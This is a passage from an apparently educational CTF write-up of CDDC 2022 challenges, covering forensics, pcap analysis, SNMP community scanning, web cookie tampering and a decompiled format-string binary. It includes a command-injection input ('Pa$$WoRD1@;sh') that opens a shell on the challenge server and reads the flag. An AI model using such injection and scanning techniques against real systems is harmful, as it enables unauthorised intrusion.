  
  
  Misc - go n c
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~]
└─$ nc 13.250.249.51 7101
CDDC22{S1mp1e_Ch4113ng3_just_G0_4nd_S33}
┌──(kali㉿localhost)-[~]
└─$ 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Forensics - Unknown File
&lt;/h2&gt;

&lt;p&gt;Steps are&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unzip the file -&amp;gt; Get hexadecimal text file&lt;/li&gt;
&lt;li&gt;Use Cyberchef to convert hexadecimal text into binary data -&amp;gt; File format is .jpg -&amp;gt; Save as a file&lt;/li&gt;
&lt;li&gt;Use fotoforensics webpage to figure out that the photo has hidden pixels, uncover it to get the flag.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;~/.../downloads/cddc2022 $ unzip ../Unknown_file.zip
Archive:  ../Unknown_file.zip
  inflating: Unknown_file.txt
~/.../downloads/cddc2022 $
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--yZj2fcHq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3p36epzx6f1lwq58h6k6.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--yZj2fcHq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3p36epzx6f1lwq58h6k6.jpg" alt="Image description" width="880" height="1955"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Ek9YGJDs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ekathb3pjheycd83zsdw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Ek9YGJDs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ekathb3pjheycd83zsdw.png" alt="Image description" width="880" height="700"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--aATZcyEV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z9p3lpfa8btu8lhh7x1i.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--aATZcyEV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z9p3lpfa8btu8lhh7x1i.jpg" alt="Image description" width="880" height="1955"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;CDDC22{S6oW\_me\_y0u're\_4he\_8est}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Network - Simple Shark
&lt;/h2&gt;

&lt;p&gt;Open pcap given in Wireshark, Export HTTP Objects and Save all of them, and then list the contents of all the files to get the flag&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Mj8c7CMu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/op3qmuvls73y57u8c19i.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Mj8c7CMu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/op3qmuvls73y57u8c19i.jpg" alt="Image description" width="880" height="1955"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;~/.../Documents/cddc2022 $ cd simpleshark/
~/.../cddc2022/simpleshark $ ls
%2f                fury.txt          object110  object29      shark.txt
Meet_the_Real.png  images.jpeg       object119  object30
Reach.pdf          masterpiece.docx  object141  object78
carpe_diem.png     maya_angelou.txt  object148  photo.png
dispair.pdf        object102         object149  pixabay.jpeg
~/.../cddc2022/simpleshark $ cat *.txt
CDDC22{The_s6@rK_H@D_@_F1@99999!!!}
You are the sum total of everything you've ever seen, heard, eaten, smelled, been told, forgot --  it's all there. Everything influences each of us, and because of that I try to make sure that my experiences are positive
Baby shark, doo doo doo doo doo doo. Baby shark, doo doo doo doo doo doo.
 Baby shark, doo doo doo doo doo doo. Baby shark!
Mommy shark, doo doo doo doo doo doo. Mommy shark, doo doo doo doo doo doo.
Mommy shark, doo doo doo doo doo doo. Mommy shark!
~/.../cddc2022/simpleshark $
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;CDDC22{The\_s6@rK\_H@D\_@\_F1@99999!!!}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Network - SNMP
&lt;/h2&gt;

&lt;p&gt;On looking through the pcap, the string "public1" appears many times in many packets.You can guess the community string is that for use in SNMP scans. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--oo6tQff6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8kbr1lrmkfnvctblq9g9.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--oo6tQff6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8kbr1lrmkfnvctblq9g9.jpg" alt="Image description" width="880" height="1955"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~]
└─$ onesixtyone 13.215.173.140 public1
Scanning 1 hosts, 1 communities
13.215.173.140 [public1] HP ETHERNET MULTI-ENVIRONMENT. The flag is CDDC22{L34king_SNMP_C0mmunity_$}
^C

┌──(kali㉿localhost)-[~]
└─$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;More info about SNMP cam be found &lt;a href="https://github.com/garyhooks/oscp/blob/master/__REFERENCE__/snmp.md"&gt;https://github.com/garyhooks/oscp/blob/master/__REFERENCE__/snmp.md&lt;/a&gt;, its an OSCP topic.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;CDDC22{L34king\_SNMP\_C0mmunity\_$}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Web - Baby Web
&lt;/h2&gt;

&lt;p&gt;Open web page and inspect element to view the flag &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--CasrZBlE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2tcgtrml2bid0i7f1q2v.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--CasrZBlE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2tcgtrml2bid0i7f1q2v.jpg" alt="Image description" width="880" height="1956"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;CDDC22{H3lL0\_Spac3\_tr4v3l3r5}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Web - Little Star
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--qjaoE78P--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/Aspose.Words.760bf06b-079e-4f35-9d88-5148e41d6dcb.005.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--qjaoE78P--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/Aspose.Words.760bf06b-079e-4f35-9d88-5148e41d6dcb.005.jpeg" alt="" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Firstly, I tried reading the source code of the webpage. The comment &amp;lt;!-- twinkle_star -&amp;gt; little_star -&amp;gt; flag → would likely be useful. The Javascript source code suggests that the webpage retrieves data from the endpoint&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset="utf-8"&amp;gt;
    &amp;lt;title&amp;gt; Star Cookies &amp;lt;/title&amp;gt;
    &amp;lt;link href="/static/css/main.css" rel="stylesheet"&amp;gt;
    &amp;lt;script src="/static/js/main.js"&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script src="/static/js/jquery-3.6.0.min.js"&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script&amp;gt;
        $(document).ready(function() {
            main();
        })
    &amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div id="sky"&amp;gt;
        &amp;lt;div class="content"&amp;gt;
            &amp;lt;!-- twinkle_star -&amp;gt; little_star -&amp;gt; flag --&amp;gt;
            &amp;lt;div&amp;gt;&amp;lt;div class="button" onclick="star()"&amp;gt;⭐&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013/static/js/main.js
function star() {
    $.get("/star", function(data, status) {
      html_code = '&amp;lt;div class="button"&amp;gt;⭐&amp;lt;/div&amp;gt;\n'+data['content'];
      $(".content")[0].innerHTML = html_code;
    })
  }

function main() {
    for(var i = 0; i &amp;lt; 200; i++) {
        //get random dimensions
        var x = Math.random() * 100;
        var y = Math.random() * 50;
        var d = Math.random() * 4;
        var s = Math.random() * 2 + 1.5;
        //create new element and add to html
        var star = document.createElement("div");
        star.classList.add("star");
        var sky = document.getElementById("sky");
        sky.appendChild(star);

        star.style.width = d + "px";
        star.style.height = d + "px";
        star.style.top = y + "%";
        star.style.left = x + "%";
        star.style.animationDuration = s + "s";
      }
}
┌──(kali㉿localhost)-[/tmp]
└─$ 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I tried monitoring the webpage network requests using Firefox. The /star endpoint provides a HTML element to show an image. There is also a request cookie of "twinkle_star".&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--7CZauYfa--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8wmyln4ize97itgoq3az.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--7CZauYfa--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8wmyln4ize97itgoq3az.jpg" alt="Image description" width="880" height="1956"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--AWBfxRk9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ox89hi8yaqx3388bopal.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--AWBfxRk9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ox89hi8yaqx3388bopal.jpg" alt="Image description" width="880" height="1956"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rMUcf0Kx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j9w065ghljzowrrldygk.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rMUcf0Kx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j9w065ghljzowrrldygk.jpg" alt="Image description" width="880" height="1956"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I tried changing the request cookie to "flag" to get the flag&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013/star -X POST
&amp;lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"&amp;gt;
&amp;lt;title&amp;gt;405 Method Not Allowed&amp;lt;/title&amp;gt;
&amp;lt;h1&amp;gt;Method Not Allowed&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;The method is not allowed for the requested URL.&amp;lt;/p&amp;gt;

┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013/star --cookie "star=little_star"
{"content":"&amp;lt;div class=\"cookie\"&amp;gt;little_star&amp;lt;/div&amp;gt; &amp;lt;br /&amp;gt;&amp;lt;img class=\"image\" src=\"/static/img/yellostar.gif\"&amp;gt;"}

┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013/star --cookie "star=twinkle_star"
{"content":"&amp;lt;div class=\"cookie\"&amp;gt;twinkle_star&amp;lt;/div&amp;gt; &amp;lt;br /&amp;gt;&amp;lt;img class=\"image\" src=\"/static/img/starfall.gif\"&amp;gt;"}

┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013/star --cookie "star=flag"
{"content":"&amp;lt;div class=\"cookie\"&amp;gt;FLAG!&amp;lt;/div&amp;gt; &amp;lt;br /&amp;gt;&amp;lt;div class=\"text-rainbow\"&amp;gt;CDDC22{B4by_W3b_H4cking_3asy++}&amp;lt;/div&amp;gt;"}

┌──(kali㉿localhost)-[/tmp]
└─$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;CDDC22{B4by\_W3b\_H4cking\_3asy++}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Pwn - Command Injection
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--FMg628-0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/Aspose.Words.760bf06b-079e-4f35-9d88-5148e41d6dcb.006.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--FMg628-0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/Aspose.Words.760bf06b-079e-4f35-9d88-5148e41d6dcb.006.jpeg" alt="" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The title of the challenge suggests a command injection, injecting something in the text such that it is interpreted as running a command.&lt;/p&gt;

&lt;p&gt;Firstly, I viewed the strings in the binary (Lazy to decompile lol)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It revealed the potential key: Pa$$WoRD1@&lt;/li&gt;
&lt;li&gt;It revealed the command to inject in: echo %s
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ strings command_injection
/lib64/ld-linux-x86-64.so.2
libc.so.6
fflush
sprintf
strncmp
puts
__stack_chk_fail
stdin
read
stdout
system
sleep
__cxa_finalize
setvbuf
__libc_start_main
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
AWAVI
AUATL
[]A\A]A^A_
Key :
Pa$$WoRD1@
echo %s
Wrong key!
Good bye.
;*3$"
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7698
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
server.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
strncmp@@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
stdout@@GLIBC_2.2.5
puts@@GLIBC_2.2.5
stdin@@GLIBC_2.2.5
_edata
__stack_chk_fail@@GLIBC_2.4
system@@GLIBC_2.2.5
read@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
func
__libc_csu_init
fflush@@GLIBC_2.2.5
__bss_start
main
setvbuf@@GLIBC_2.2.5
sprintf@@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
sleep@@GLIBC_2.2.5
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Testing the given key&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ nc 18.141.181.118 7012                                                              Key : Pa$$WoRD1@                                                                        Pa6344WoRD1@
Good bye.

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ nc 18.141.181.118 7012
Key : aa
Wrong key!

Good bye.

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Time to add delimiters&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We could run multiple commands in 1 line in Linux, by putting ; between commands. I tried to do that, so that the command run is "echo Pa$$WoRD1@;sh", which brings up a shell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ nc 18.141.181.118 7012
Key : Pa$$WoRD1@;sh
Pa6782WoRD1@
pwd
/home/user
ls -al
total 28
drwxr-x--- 1 root user 4096 Jun  9 17:36 .
drwxr-xr-x 1 root root 4096 Jun  9 17:36 ..
-r--r----- 1 root user   36 May 30 17:27 flag
-rwxr-x--- 1 root user 8800 May 30 17:27 prob
-rwxr-x--- 1 root user   62 Jun  9 17:36 run
^C
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Trying to read flag&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ nc 18.141.181.118 7012
Key : Pa$$WoRD1@;sh
Pa7104WoRD1@
ls -al
total 28
drwxr-x--- 1 root user 4096 Jun  9 17:36 .
drwxr-xr-x 1 root root 4096 Jun  9 17:36 ..
-r--r----- 1 root user   36 May 30 17:27 flag
-rwxr-x--- 1 root user 8800 May 30 17:27 prob
-rwxr-x--- 1 root user   62 Jun  9 17:36 run
cat flag
CDDC22{H3h3_1nject1ng_c0Mmand_Fun~!}
^C

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Pwn - Simple format string Attack
&lt;/h2&gt;

&lt;p&gt;I firstly decompiled it with Retdec.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) Retargetable Decompiler &amp;lt;info@retdec.com&amp;gt;
//

#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

// ------------------------ Structures ------------------------

struct _IO_FILE {
    int32_t e0;
};

// ------------------- Function Prototypes --------------------

int64_t __do_global_dtors_aux(void);
int64_t __libc_csu_fini(void);
int64_t __libc_csu_init(int64_t a1, int64_t a2, int64_t a3);
int64_t _fini(void);
int64_t _init(void);
int64_t _start(int64_t a1, int64_t a2, int64_t a3, int64_t a4);
int64_t deregister_tm_clones(void);
int64_t frame_dummy(void);
int32_t function_7b0(char * s1, char * s2, int32_t n);
int32_t function_7c0(int64_t * ptr, int32_t size, int32_t n, struct _IO_FILE * stream);
int32_t function_7d0(struct _IO_FILE * stream);
void function_7e0(void);
int32_t function_7f0(char * format, ...);
char * function_800(char * s, int32_t n, struct _IO_FILE * stream);
int32_t function_810(struct _IO_FILE * stream, char * buf, int32_t modes, int32_t n);
struct _IO_FILE * function_820(char * filename, char * modes);
void function_830(char * s);
void function_840(int32_t status);
void function_850(int64_t * d);
int64_t readflag(void);
int64_t register_tm_clones(void);

// --------------------- Global Variables ---------------------

int64_t g1 = 2400; // 0x200d70
int64_t g2 = 2336; // 0x200d78
struct _IO_FILE * g3 = NULL; // 0x201020
struct _IO_FILE * g4 = NULL; // 0x201030
char g5 = 0; // 0x201038
char * g6; // 0x201040
int32_t g7 = 0; // 0x400
int32_t g8;

// ------------------------ Functions -------------------------

// Address range: 0x788 - 0x79f
int64_t _init(void) {
    int64_t result = 0; // 0x796
    if (*(int64_t *)0x200fe8 != 0) {
        // 0x798
        __gmon_start__();
        result = &amp;amp;g8;
    }
    // 0x79a
    return result;
}

// Address range: 0x7b0 - 0x7b6
int32_t function_7b0(char * s1, char * s2, int32_t n) {
    // 0x7b0
    return strncmp(s1, s2, n);
}

// Address range: 0x7c0 - 0x7c6
int32_t function_7c0(int64_t * ptr, int32_t size, int32_t n, struct _IO_FILE * stream) {
    // 0x7c0
    return fread(ptr, size, n, stream);
}

// Address range: 0x7d0 - 0x7d6
int32_t function_7d0(struct _IO_FILE * stream) {
    // 0x7d0
    return fclose(stream);
}

// Address range: 0x7e0 - 0x7e6
void function_7e0(void) {
    // 0x7e0
    __stack_chk_fail();
}

// Address range: 0x7f0 - 0x7f6
int32_t function_7f0(char * format, ...) {
    // 0x7f0
    return printf(format);
}

// Address range: 0x800 - 0x806
char * function_800(char * s, int32_t n, struct _IO_FILE * stream) {
    // 0x800
    return fgets(s, n, stream);
}

// Address range: 0x810 - 0x816
int32_t function_810(struct _IO_FILE * stream, char * buf, int32_t modes, int32_t n) {
    // 0x810
    return setvbuf(stream, buf, modes, n);
}

// Address range: 0x820 - 0x826
struct _IO_FILE * function_820(char * filename, char * modes) {
    // 0x820
    return fopen(filename, modes);
}

// Address range: 0x830 - 0x836
void function_830(char * s) {
    // 0x830
    perror(s);
}

// Address range: 0x840 - 0x846
void function_840(int32_t status) {
    // 0x840
    exit(status);
}

// Address range: 0x850 - 0x856
void function_850(int64_t * d) {
    // 0x850
    __cxa_finalize(d);
}

// Address range: 0x860 - 0x88b
int64_t _start(int64_t a1, int64_t a2, int64_t a3, int64_t a4) {
    // 0x860
    int64_t v1; // 0x860
    __libc_start_main(2518, (int32_t)a4, (char **)&amp;amp;v1, (void (*)())2816, (void (*)())2928, (void (*)())a3);
    __asm_hlt();
    // UNREACHABLE
}

// Address range: 0x890 - 0x8c2
int64_t deregister_tm_clones(void) {
    // 0x890
    return (int64_t)&amp;amp;g3;
}

// Address range: 0x8d0 - 0x912
int64_t register_tm_clones(void) {
    // 0x8d0
    return 0;
}

// Address range: 0x920 - 0x95a
int64_t __do_global_dtors_aux(void) {
    // 0x920
    if (g5 != 0) {
        // 0x958
        int64_t result; // 0x920
        return result;
    }
    // 0x929
    if (*(int64_t *)0x200ff8 != 0) {
        // 0x937
        __cxa_finalize((int64_t *)*(int64_t *)0x201008);
    }
    int64_t result2 = deregister_tm_clones(); // 0x943
    g5 = 1;
    return result2;
}

// Address range: 0x960 - 0x96a
int64_t frame_dummy(void) {
    // 0x960
    return register_tm_clones();
}

// Address range: 0x96a - 0x9d6
int64_t readflag(void) {
    struct _IO_FILE * file = fopen("flag", "rb"); // 0x980
    if (file != NULL) {
        // 0x9a6
        fread((int64_t *)&amp;amp;g6, (int32_t)&amp;amp;g7, 1, file);
        fclose(file);
        return 0;
    }
    // 0x990
    perror("[-] flag file ");
    exit(0);
    // UNREACHABLE
}

// Address range: 0x9d6 - 0xaf7
int main(int argc, char ** argv) {
    int64_t v1 = __readfsqword(40); // 0x9e1
    setvbuf(g3, NULL, 1, 0);
    setvbuf(g4, NULL, 1, 0);
    readflag();
    printf("[+] password =&amp;gt; %p\n", (int64_t *)"P4s$w0rD");
    int64_t str; // bp-1048, 0x9d6
    fgets((char *)&amp;amp;str, (int32_t)&amp;amp;g7, g4);
    printf((char *)&amp;amp;str);
    if (strncmp("P4s$w0rD", "weakpass", 8) != 0) {
        // 0xac4
        printf("[!] password is %s\n", "P4s$w0rD");
    } else {
        // 0xaaa
        printf("[+] %s", (char *)&amp;amp;g6);
    }
    int64_t result = 0; // 0xaee
    if (v1 != __readfsqword(40)) {
        // 0xaf0
        __stack_chk_fail();
        result = &amp;amp;g8;
    }
    // 0xaf5
    return result;
}

// Address range: 0xb00 - 0xb65
int64_t __libc_csu_init(int64_t a1, int64_t a2, int64_t a3) {
    int64_t result = _init(); // 0xb2c
    if ((int64_t)&amp;amp;g2 - (int64_t)&amp;amp;g1 &amp;gt;&amp;gt; 3 == 0) {
        // 0xb56
        return result;
    }
    int64_t v1 = 0; // 0xb34
    while (v1 + 1 != (int64_t)&amp;amp;g2 - (int64_t)&amp;amp;g1 &amp;gt;&amp;gt; 3) {
        // 0xb40
        v1++;
    }
    // 0xb56
    return result;
}

// Address range: 0xb70 - 0xb72
int64_t __libc_csu_fini(void) {
    // 0xb70
    int64_t result; // 0xb70
    return result;
}

// Address range: 0xb74 - 0xb7d
int64_t _fini(void) {
    // 0xb74
    int64_t result; // 0xb74
    return result;
}

// --------------- Dynamically Linked Functions ---------------

// void __cxa_finalize(void * d);
// void __gmon_start__(void);
// int __libc_start_main(int *(main)(int, char **, char **), int argc, char ** ubp_av, void(* init)(void), void(* fini)(void), void(* rtld_fini)(void), void(* stack_end));
// void __stack_chk_fail(void);
// void exit(int status);
// int fclose(FILE * stream);
// char * fgets(char * restrict s, int n, FILE * restrict stream);
// FILE * fopen(const char * restrict filename, const char * restrict modes);
// size_t fread(void * restrict ptr, size_t size, size_t n, FILE * restrict stream);
// void perror(const char * s);
// int printf(const char * restrict format, ...);
// int setvbuf(FILE * restrict stream, char * restrict buf, int modes, size_t n);
// int strncmp(const char * s1, const char * s2, size_t n);

// --------------------- Meta-Information ---------------------

// Detected compiler/packer: gcc (7.5.0)
// Detected functions: 22

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I also disassembled it using &lt;code&gt;objdump -M intel -d fmt&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;00000000000009d6 &amp;lt;main&amp;gt;:
 9d6:   55                      push   rbp
 9d7:   48 89 e5                mov    rbp,rsp
 9da:   48 81 ec 20 04 00 00    sub    rsp,0x420
 9e1:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
 9e8:   00 00
 9ea:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
 9ee:   31 c0                   xor    eax,eax
 9f0:   48 8b 05 29 06 20 00    mov    rax,QWORD PTR [rip+0x200629]        # 201020 &amp;lt;stdout@GLIBC_2.2.5&amp;gt;
 9f7:   b9 00 00 00 00          mov    ecx,0x0
 9fc:   ba 01 00 00 00          mov    edx,0x1
 a01:   be 00 00 00 00          mov    esi,0x0
 a06:   48 89 c7                mov    rdi,rax
 a09:   e8 02 fe ff ff          call   810 &amp;lt;setvbuf@plt&amp;gt;
 a0e:   48 8b 05 1b 06 20 00    mov    rax,QWORD PTR [rip+0x20061b]        # 201030 &amp;lt;stdin@GLIBC_2.2.5&amp;gt;
 a15:   b9 00 00 00 00          mov    ecx,0x0
 a1a:   ba 01 00 00 00          mov    edx,0x1
 a1f:   be 00 00 00 00          mov    esi,0x0
 a24:   48 89 c7                mov    rdi,rax
 a27:   e8 e4 fd ff ff          call   810 &amp;lt;setvbuf@plt&amp;gt;
